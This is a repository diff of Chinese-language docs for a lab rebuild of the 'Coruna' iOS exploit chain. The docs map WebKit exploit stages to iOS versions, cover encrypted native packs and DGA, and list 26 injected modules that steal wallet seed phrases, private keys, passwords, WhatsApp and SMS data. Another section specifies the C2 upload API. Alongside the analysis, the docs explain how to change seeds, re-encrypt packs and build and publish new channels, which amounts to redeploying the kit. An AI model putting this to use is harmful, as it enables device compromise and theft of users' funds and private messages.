| `al[].b` | bundle id |
| `al[].v` | App 版本 |
**响应**:加密 `{"code":0,"msg":"ok","data":null}`(Lab)。战役侧可能带配置 `data`;未完全还原时以可解密成功 ack 为准。
---
### 3.4 `POST /api/user/avatar/put`
**用途**:通用遥测/事件总线。同路径多种 `ctx`:
| ctx 形态 | 含义 |
|----------|------|
| `url, sha256, size, downloadTimeMs, isFirstLoad` | 模块/资源下载 |
| `totalModules, abnormalModules, overallStatus, checkTimeMs` | 模块健康检查 |
| `bundleId, targetPid, injectionTimeMs` | 进程注入结果 |
| 空 `ctx` | 其它短事件(配合 `desc` / `et` / `ex`) |
**公共字段示例**:
```jsonc
{
"c": "<32hex>",
"d": "<16hex>",
"f": "<16hex>",
"id": "<uuid>",
"lhu": "<uuid>",
"pn": "iPhone OS",
"m": "iPhone9,1",
"pv": "15.8.4",
"desc": "<event description>",
"et": "<event type text>",
"ex": 0,
"exp": "",
"ctx": { /* 见上表 */ },
"s": "...",
"..."
}
```
WhatsApp 等插件也会复用此路径上报消息相关事件(静态/流量均有指认)。
**响应**:加密 ack。
---
### 3.5 `POST /api/user/avatar/status`
**用途**:上传仍加密的钱包/keystore/identity JSON(如 imToken `walletsV2` 解密前结构)。
**请求明文要点**:
```jsonc
{
"a": "<短标签>",
"c": "<32hex>",
"d": "<16hex>",
"d1": "<40hex>",
"d2": "<短串>",
"d3": "<40hex>",
"v": "<module version>",
"result": {
"crypto": {
"cipher": "aes-128-ctr",
"cipherparams": { "iv": "<hex>" },
"ciphertext": "<hex>",
"kdf": "pbkdf2",
"kdfparams": { "c": 0, "dklen": 0, "prf": "...", "salt": "<hex>" },
"mac": "<hex>"
},
"identity": { /* encAuthKey, encKey, ... */ },
"encOriginal": "...",
"imTokenMeta": { /* ... */ }
}
}
```
**响应**:加密 ack。
Lab:`wallet_keystores` 存整份 `result`(`raw_json`)。
---
### 3.6 `POST /api/user/status`
**用途**:地址 → 链上资产/余额映射。
**请求明文要点**:
```jsonc
{
"a": "<短标签>",
"c": "<32hex>",
"d": "<16hex>",
"d1": "<40hex>",
"d2": "...",
"d3": "<40hex>",
"v": "...",
"ba": {
"<walletAddress>": [
{
"balance": "<string>",
"chainId": "<string>",
"chainType": "<string>",
"decimal": "<string>",
"name": "<token name>",
"symbol": "<symbol>"
}
]
}
}
```
`ba` 的 key 为地址;value 为该地址下资产数组。
**响应**:加密 ack。Lab 写入 `wallet_addresses`:`chain_type`←`chainType`(缺省则按地址推断),`balance` 为 `{SYMBOL: 格式化数量}`(按 `decimal`/`decimals`),`source`←`a` 短标签映射钱包名。亦接受 `ad`(Global 标量 map / Trust 资产数组)。
---
### 3.7 `POST /api/user/set`
**用途**:上报**明文**助记词或私钥(HAR 已证实 12 词助记词在 `result`)。
**请求明文要点**:
```jsonc
{
"a": "<短标签>",
"c": "<32hex>",
"d": "<16hex>",
"d1": "<40hex>",
"d2": "...",
"d3": "<40hex>",
"v": "...",
"result": "<12/15/18/21/24 words mnemonic OR private key string>"
}
```
**响应**:加密 ack。Lab:`wallet_mnemonics`(`mnemonic_enc` Laravel crypt,`source`←`a`),后台仅打码展示。
---
### 3.8 `POST /api/user/check`
**用途**:相册 OCR/敏感命中后的图片归档上传(非 AES JSON)。
**Content-Type**:`multipart/form-data`
| Part | 观察 |
|------|------|
| `file` | Coruna 头混淆 7z;解压后为 JPEG 等 |
| `sig` | ~352–472 字节不透明数据,用途未证实 |
| `idx` | 12 hex:`upload_count\|\|process_index`(各 6 位);Lab 解码入库 |
| `ftu` | 12 hex:`text_count\|\|barcode_count`;Lab 解码入库 |
| `x-hit` | BIP39 词数或 -1/-2/-3;Lab 存 `photos.x_hit` |
| `rid` | ~36 字符请求/资源 id |
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 |
| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 |
7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。
**响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。
---
### 3.9 `POST /api/user/avatar/pic`
**用途**:Notes reader 批次上报。
**请求明文要点**(真机已见):
```jsonc
{
"c": "<32hex>",
"d": "<16hex>",
"f": "<16hex>",
"s": "...",
"u": "<40hex>",
"list": ["<note text>", "..."]
}
```
**响应**:加密 ack。Lab:`notes.content` ← `payload.list`(JSON 数组)。
---
### 3.10 `POST /api/user/profile/add|delete|remove`
**用途**:`imagent` 消息/profile 状态变更(静态接口表)。HAR 本批无样本。
**请求**:加密 JSON(形状未钉死)。
**响应**:加密 ack;Lab 仅日志。
---
### 3.11 `POST /link/config/list`
**用途**:WebClip / 链接配置轮询。
**请求明文(HAR)**:
```jsonc
{
"c": "<32hex>",
"channel": "<32hex>",
"d": "",
"f": "",
"s": "",
"u": ""
}
```
**响应**:
- Lab:加密 `{"code":0,"msg":"ok","data":[]}`
- 战役:可能返回链接列表;未完整还原时客户端以可解密为准
---
### 3.12 `POST /link/config/icon`
**用途**:拉取 WebClip 图标。
**HAR**:本批无独立解密样本。
**请求**:加密 JSON(预期含图标/链接标识)。
**响应(Lab)**:加密 `{"code":0,"msg":"ok","data":null}`。
---
## 4. Lab 响应统一格式
除 `query` 外,控制器经 `CorunaCrypto::encryptJson` 返回:
**HTTP**
- Status:`200`
- Header:`timestamp: <13-digit>`
- Body:Base64 AES 密文
**明文(Lab)**
```json
{
"code": 0,
"msg": "ok",
"data": null
}
```
`/link/config/list` 的 `data` 为 `[]`。
原始请求/响应落盘:`public/log/c2/Ymd.log`(`create_log`,不写 DB)。
- `dir: "in"`:请求明文(解密后 `payload`)
- `dir: "out"`:响应明文(有 `timestamp` 头则 AES 解密;`query` 等明文直接记)
---
## 5. 调用顺序(HAR 观察)
典型顺序(同一 reporting 域名):
```text
query → avatar/put(telemetry) → query → avatar/set → get
→ avatar/put* → check* → … → avatar/status → status → set
→ link/config/list …
```
相册命中(`check`)可早于或并行于钱包本地解密上报(`avatar/status` → `status` → `set`)。
---
## 6. 参考
| 文档/证据 | 内容 |
|-----------|------|
| `CORUNA_COMPLETE_DATAFLOW_REPORT.md` §7.2 | 接口职责总表 |
| `CORUNA_DOMAIN_DGA_REPORT.md` | `query` 与 DGA 选服 |
| `c2_decrypted_redacted.json` | 各路径请求字段形状 |
| `app/Services/CorunaCrypto.php` | 加解密实现 |
| `app/Http/Controllers/C2/C2Controller.php` | Lab 处理与回包 |
+112
View File
@@ -0,0 +1,112 @@
# 一级包与二级包
## 路径
**线上:同一相对目录。** Stage JS、一级包、二级包都从 campaign base 用文件名下载:
```text
{base}/70049138….js # Stage
{base}/6539c1e0….js # 一级包(wire 后缀 .js)
{base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js)
```
`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。
### Wire 后缀(实测)
| 类型 | 客户端实际请求 | 说明 |
|------|----------------|------|
| Stage JS | `<40hex>.js` | 无 `.min.js` |
| **一级原生包** | **`<40hex>.js`** | 按机型/版本选 flags;**不是** `.min.js` |
| **二级 type-0x01** | **`<40hex>.min.js`** | type 0x07 元数据里的文件名带 `.min.js` |
Campaign / lab 目录里同一 stem 常同时存在 `.js` 与 `.min.js`,且**内容不同**(`.js` 通常更大)。链路只拉上表对应后缀;另一份是同 stem 的另一产物,不要当成重复别名删掉。
**`coruna-online` 落盘为分析拆目录,不是三条不同 URL:**
| 类型 | 线上相对路径(wire) | `coruna-online` 落盘 |
|------|----------------------|----------------------|
| Stage JS / 入口 | `{base}/<name>` | 仓库根目录(见 [`STAGE_JS.md`](./STAGE_JS.md)) |
| 一级原生包 | `{base}/<40hex>.js` | 历史多落在 `payloads/<40hex>.min.js`;**以线上 `.js` 为准**同步到 lab |
| 二级 type-0x01 | `{base}/<40hex>.min.js` | `c2_fetch/<40hex>.min.js`(部分副本带 `xxxxxxxx_` 前缀,lab 已归一) |
## 联系
```text
Stage3
→ 下载「一级包」.js(按机型/版本选 flags)
→ 解密 → F00DBEEF:0x08 / 0x09 / 0x0f / (0x0a) + **type 0x07 元数据**
→ type 0x07 给出二级文件名 + ChaCha key
→ 再下载「二级包」.min.js
→ 解密 → F00DBEEF type **0x01**(SpringBoard 管理器,含 Deployment DGA)
→ DGA → /sync/daily.html → sync/ 下 26 个模块
```
| 层级 | 线上看起来 | 解开后 | 作用 |
|------|------------|--------|------|
| **一级包** | ChaCha 加密 **`.js`** | F00DBEEF:利用/implant(0x08 powerd、0x09、0x0f 等)+ **0x07 指针** | 提权与落地;**0x07 点名二级包** |
| **二级包** | 另一 key 的 **`.min.js`**(key 在 0x07) | F00DBEEF:**仅 type 0x01** dylib | DGA、拉 `daily.html`、下模块、注入 |
一级 ≠ type-0x01;靠一级内的 **0x07** 才接到二级。一级失败则不会拉对应二级包。
---
## 一级包一览(`payloads/` → lab `web/…/`)
清单文件名按 **wire(`.js`)** 书写。lab 中同 stem 的 `.min.js` 为另一份线上产物,体积更小,链路默认不请求。
| lab / 线上文件名(wire) | flags | 内含类型 | `coruna-online` 来源(历史落盘名) |
|---|---|---|---|
| `054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js` | `0xf230` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/054bcb73….min.js` |
| `e406714e92671b5218496fcb6666734411cb2320.js` | `0xf330` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/e406714e….min.js` |
| `694c829e379e12085de6158b85f32509f54f4796.js` | `0xf240` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/694c829e….min.js` |
| `3b0133801a3f844e7ebafa0363f2423a50005b72.js` | `0xf340` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/3b013380….min.js` |
| `6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js` | `0xf270` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6f8a7a3b….min.js` |
| `eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js` | `0xf370` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/eb3e81b5….min.js` |
| `6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js` | `0xf280` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6bbb364c….min.js` |
| `99010a27e08b3312650c8d9f321958433e577a30.js` | `0xf380` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/99010a27….min.js` |
| `6539c1e0dc731ea7c7011af236cc7c2871af7c40.js` | `0xf290` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6539c1e0….min.js` |
| `c9118a62558ed444a64c2dfe350c6c57fa277a3a.js` | `0xf390` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/c9118a62….min.js` |
| `076de672aebfc78137aa863e51ff3d8980dcdd10.js` | `0xf373` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/076de672….min.js` |
| `62415a3d105a8c40c41b19cf456e8474fe441359.js` | `0xf383` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/62415a3d….min.js` |
| `a5847c3e2e439e2f7c4b1582932cf81a06100981.js` | `0xf275` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/a5847c3e….min.js` |
| `f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js` | `0xf375` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/f7994d47….min.js` |
| `a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js` | `0xa205` | 0x08, 0x0a | `payloads/a13a74c0….min.js` |
| `f10b572f33adf343a7398487c3f4cc71088b56ab.js` | `0xa305` | 0x08, 0x0a | `payloads/f10b572f….min.js` |
| `906a996fa11bcaa5347c6453e328f538d17d5dbf.js` | `0xa306` | 0x08, 0x0a | `payloads/906a996f….min.js` |
| `4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js` | `0xa303` | 0x08, 0x0a, 0x0a | `payloads/4614dd1c….min.js` |
| `d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js` | `0xa304` | 0x08, 0x0a, 0x0a | `payloads/d1a39a28….min.js` |
解出的中间 dylib:`coruna-online/payloads/*_type0xNN.dylib`(lab 未复制)。
---
## 二级包一览(`c2_fetch/` → lab `web/…/`)
均为 type **0x01** SpringBoard helper(含 DGA)。Wire 文件名为 **`.min.js`**。
**为何 10 个二级包、实质只有 2 份 dylib:**
| dylib SHA-256(前 16) | 体积 | stem 数 | 成员 |
|---|---:|---:|---|
| `8bef11cb6cdf18f9…` | 347472 | 5 | `039c68f0` / `34736715` / `65704c07` / `6bac8b93` / `743312ca` |
| `124f9b07b58c90c3…` | 362056 | 5 | `1d0df5a0` / `242a0afb` / `630c2b42` / `7cb20652` / `7f208248` |
差异在**投递包装**,不是两套 DGA:各一级包的 type **0x07** 点名不同 `<stem>.min.js` 并带不同 ChaCha key;两条构建内 Deployment/Reporting **seed 相同**。改 seed:改 2 个唯一 dylib → 用各自 type07 key 重加密要用到的二级 `.min.js`(要覆盖全部一级变体则 10 个都重打)。
| lab / 线上文件名 | `coruna-online` 来源 | 说明 |
|---|---|---|
| `039c68f0ca742a85e94516818385a9eca2e204d8.min.js` | `c2_fetch/039c68f0….min.js` | 二级 type-0x01 |
| `1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js` | `c2_fetch/1d0df5a0….min.js` | 二级 type-0x01 |
| `242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js` | `c2_fetch/242a0afb….min.js` | 二级 type-0x01 |
| `347367155da44f3efcc9053337913061079610b9.min.js` | `c2_fetch/34736715….min.js` | 二级 type-0x01 |
| `630c2b42300333d91588353d43afab9ec8325e09.min.js` | `c2_fetch/630c2b42….min.js` | 二级 type-0x01 |
| `65704c0722165a7bdedad3f3f61258b2f95470f6.min.js` | `c2_fetch/65704c07….min.js` | HAR 中出现过的二级包之一 |
| `6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js` | `c2_fetch/6bac8b93….min.js` | 二级 type-0x01 |
| `743312cafb58176af57b89098d94dca1c60f8d1e.min.js` | `c2_fetch/743312ca….min.js` | 二级 type-0x01 |
| `7cb20652ef7156e931f894dd3d99f24601b80368.min.js` | `c2_fetch/7cb20652….min.js` | 二级 type-0x01 |
| `7f208248c748f97956fe4a7cf246c91235852e67.min.js` | `c2_fetch/7f208248….min.js` | 二级 type-0x01 |
解出的 dylib:`coruna-online/c2_fetch/<stem>_type0x01.dylib`(lab 未复制)。
业务模块见 [`SYNC.md`](./SYNC.md)。
+10
View File
@@ -0,0 +1,10 @@
# coruna-lab-web 文档
| 文件 | 内容 |
|------|------|
| [`STAGE_JS.md`](STAGE_JS.md) | 入口 HTML、Stage1/2/3、beacon |
| [`NATIVE_PACKS.md`](NATIVE_PACKS.md) | 一级包 / 二级 type-0x01:路径、联系、清单 |
| [`SYNC.md`](SYNC.md) | `/channel/<id>/sync/daily.html` 与 26 个业务模块职责 |
| [`C2_API.md`](C2_API.md) | C2 上报接口(Laravel 侧实现) |
| [`../tools/README.md`](../tools/README.md) | seed / 域名 / channel 重建 |
| [`../../docs/BUILD_API.md`](../../docs/BUILD_API.md) | 独立构建 API 与部署 |
+45
View File
@@ -0,0 +1,45 @@
# Stage JS 与入口
线上与 lab 均位于 campaign base:
```text
web/34f5121f572d6742703eb84ec2f866a6/
```
`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。
## 阶段职责
| 阶段 | 作用 |
|------|------|
| 入口 | `support.html` 选分支、设 module base、拉 Stage |
| Stage1 | WebKit/WASM 内存破坏与读写原语 |
| Stage2 | PAC / JIT cage |
| Stage3 | 原生 loader,再拉一级 `.js` 包(二级为 `.min.js`,见 [`NATIVE_PACKS.md`](./NATIVE_PACKS.md)) |
| helper | offsets wrapper、加密 manifest / beacon |
命名:`sha256(salt + id)[:40].js`,salt = `9eb2b99484c8f631`。
## 文件对照
| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` |
|---|---|---|
| `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) |
| `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
| `700491384cc59bd25c3aa4dd670c8660963bffe3.js` | Stage1 | `Stage1_15.6_16.1.2_bluebird.js` |
| `3c04ae31f9ba8f809b275be4b3fa93deb558902c.js` | Stage1 | `Stage1_16.2_16.5.1_terrorbird.js` |
| `1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js` | Stage1 | `Stage1_16.6_17.2.1_cassowary.js` |
| `40a27e7916aa554e6d38d39beb6bb7ee095692ed.js` | Stage1 fallback | `other/Stage1_13.0_15.1.1_buffout.js` |
| `9075c25766e57019db4c86fac179b03ebf1b56e5.js` | Stage2 | `Stage2_13.0_14.x_breezy.js` |
| `b099ff22b5c8e65654744fd307d81ad208009103.js` | Stage2 | `Stage2_15.0_16.2_breezy15.js` |
| `651774047bf8d72258a5f04785c9dabf5e793670.js` | Stage2 pre/PAC | `Stage2_16.6_17.2.1_seedbell_pre.js` |
| `291b914c574e1196039313595217367c44cca436.js` | Stage2 | `Stage2_16.6_16.7.12_seedbell.js` |
| `0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js` | Stage2 | `Stage2_17.0_17.2.1_seedbell.js`(特征偏 seedbell;对应置信低于上列) |
| `0c297489d8c9d5470bfce17b0d99da3338b44a18.js` | Stage3 VariantA | `Stage3_VariantA.js` |
| `9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js` | Stage3 VariantB | `Stage3_VariantB.js` |
| `ad970e88980634bcb2eda0c998a27881686dd29e.js` | offsets / qbrdr wrapper | (`coruna/` 无同名 Stage 文件) |
| `ad970e88980634bcb2eda0c998a27881686dd29e.min.js` | 加密 manifest / exploit beacon | (`coruna/` 无同名 Stage 文件) |
本批 dump 中未见与 `Stage2_16.3_16.5.1_seedbell.js` 明确对上的哈希文件。
下一步见 [`NATIVE_PACKS.md`](NATIVE_PACKS.md)(一级 / 二级包)。
+70
View File
@@ -0,0 +1,70 @@
# sync/ — Deployment 配置与业务模块
构建产物按渠道隔离在 `<artifact-root>/channel/<id>/sync/`,线上路径为
`/channel/<id>/sync/*`。原始样本使用 `/sync/*`。
内容来自 `coruna-online` 抓包/离线恢复;职责摘自
[`CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md)
与 [`PAYLOAD_INVENTORY.md`](../../coruna-online/evidence/cases/2026-08-02-coruna-all-26/PAYLOAD_INVENTORY.md)。
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
拉取顺序:type-0x01 经 Deployment DGA 选中主机 →
`GET /channel/<id>/sync/daily.html` → 按配置再拉
`/channel/<id>/sync/<wire>`(本机按需,不一定 26 个全下)。
---
## 配置
| 文件 | 作用 | `coruna-online` 来源 |
|---|---|---|
| `daily.html` | 加密 netconfig:给出 26 项 URL(含 `[HOST_PLACEHOLDER]`)、size、sha256;客户端用当前 Deployment host rebase | `evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2….body` |
明文配置副本(未放本目录):
`coruna-online/evidence/cases/2026-08-02-coruna-all-26/configs/bae5299f….json`
---
## 26 个模块
| # | `/sync/` 文件 | 解包名 | 目标 | 作用 |
|---:|---|---|---|---|
| 1 | `erupt_flee.js` | `tmp.dylib` | **core** | 配置/DGA、下载校验、模块存储、选择性注入、热更新、心跳;扫描 Photos 与 Apple Notes |
| 2 | `swap-ritual.ts` | `webclip.dylib` | SpringBoard | `/link/config/list`、`/link/config/icon`,创建/更新 WebClip 与图标 |
| 3 | `short_thing.js` | `whatsapp_notnotify.dylib` | SpringBoard | WhatsApp 登录/账户类通知抑制辅助 |
| 4 | `aware_retreat.css` | `MarqueeLabel.dylib` | BitKeep `com.bitkeep.os` | 读 bitkeep.db / Flutter auth;提取助记词、私钥、地址与资产 |
| 5 | `wash_indicate.js` | `ReachabilitySwift.dylib` | Bitpie | 观察 BIP39 生成;读 `bcoins.sqlite`;上报助记词/地址/余额 |
| 6 | `entry-praise.htm` | `BranchDeepLinker.dylib` | Coin98 | 读 RN/MMKV `walletCacheRedux`;解析 chain/address/mnemonic/privateKey/balance |
| 7 | `card_alcohol.htm` | `IQKeyboardRetainer.dylib` | Coinbase Wallet | Hook 存助记词;读 SQLite `main.wallet` |
| 8 | `curious-tuna.ts` | `LottieAnimation.dylib` | Exodus | 读 RN AsyncStorage / bridge;解析 wallet/mnemonic/资产 |
| 9 | `valve-okay.htm` | `MasonryConstraint.dylib` | imToken | Hook 密码输入;解密 `walletsV2`;上报钱包/助记词(HAR 已证实) |
| 10 | `squirrel-chuckle.css` | `AmplitudeSession.dylib` | Krystal | 读 wallets / Keychain;资产 JSON |
| 11 | `range_hockey.ts` | `CocoaLumberjack.dylib` | MetaMask | Hook 密码;读 persistStore;AES 解 `data.mnemonic` |
| 12 | `exact_unveil.html` | `SAMKeychainStore.dylib` | MyTonWallet | WKWebView 截获 passcode;解 `mnemonicEncrypted` |
| 13 | `cradle-barely.html` | `RealmDatabase.dylib` | Phantom | 读 MMKV;观察 `mnemonicFromEntropy:`;账户/余额 |
| 14 | `enough_lend.ts` | `MixpanelAnalytics.dylib` | Ronin | 观察 wallet/portfolio;上报地址/余额 |
| 15 | `page_human.css` | `AdjustEventTracker.dylib` | Solflare | 读 Flutter vault;passcode / seedPhrase / accounts |
| 16 | `mouse_announce.js` | `ChameleonFramework.dylib` | Global Wallet | Hook JSON;捕获 mnemonic/privateKey 等(HAR 已证实私钥) |
| 17 | `canal_sugar.htm` | `SwiftyJSONParser.dylib` | Tonhub | 解密 secret/mnemonic;取地址/余额 |
| 18 | `left-case.css` | `PINRemoteImage.dylib` | Tonkeeper | 读 `mnemonics_vault_` 等;解助记词 |
| 19 | `diagram-ship.css` | `YYImageDecoder.dylib` | TronLink | Hook 密码;读 keystore/SQLite;解地址/余额 |
| 20 | `shrimp-artefact.htm` | `AppsFlyerConversion.dylib` | Trust Wallet | Realm/keystore;提取助记词与资产 |
| 21 | `fresh_sausage.js` | `TPKeyboardAvoiding.dylib` | Uniswap | 读 mnemonic keychain / portfolio |
| 22 | `win_wife.css` | `MBProgressOverlay.dylib` | OKX | Hook backup seed VM;读 wallet SQL(配置中常 `active:false`) |
| 23 | `future-destroy.htm` | `libCoreSymbolicationHelper.dylib` | SpringBoard | 注入代理 / Helion IPC;与 core 协作 |
| 24 | `chunk_hen.ts` | `libAggregateDictionaryClient.dylib` | WhatsApp | 截获消息/媒体元数据并上报 |
| 25 | `candy_ketchup.html` | `WeChat.dylib` | 微信 | 本地 OCR/QR/敏感词/BIP39;命中后经 C2 上传 |
| 26 | `horror-monster.ts` | `libDataAccessServices.dylib` | `imagent` | Hook SMS/iMessage;profile 与事件上报 |
Lab 内路径(均在 `frontend/` 下):
| 路径 | 内容 |
|---|---|
| `source/sync/` | 原始 wire(混淆头 + 密码 7z)模板 |
| `source/sync_dylibs/` | 解包后的明文 dylib(`patch_core` 改 channel/seed 的输入) |
| `source/type0x01_dylibs/` | type-0x01 明文 dylib(`patch_secondary_packs` 输入) |
| `source/sync_config/daily.body` | daily netconfig 原始 body(用于重建 `daily.html`) |
| `tools/sync_modules.json` | wire ↔ member ↔ `source/sync_dylibs/` 清单 |
| `tools/vendor/` | 离线辅助库(原 `coruna-online/module_hunt` 子集) |
构建只读上述路径;独立构建服务在 staging 中生成渠道完整目录,校验后原子发布。
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,2 @@
Plaintext type-0x01 helper dylibs used by tools/patch_secondary_packs.py.
Originally from coruna-online/c2_fetch/*_type0x01.dylib.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More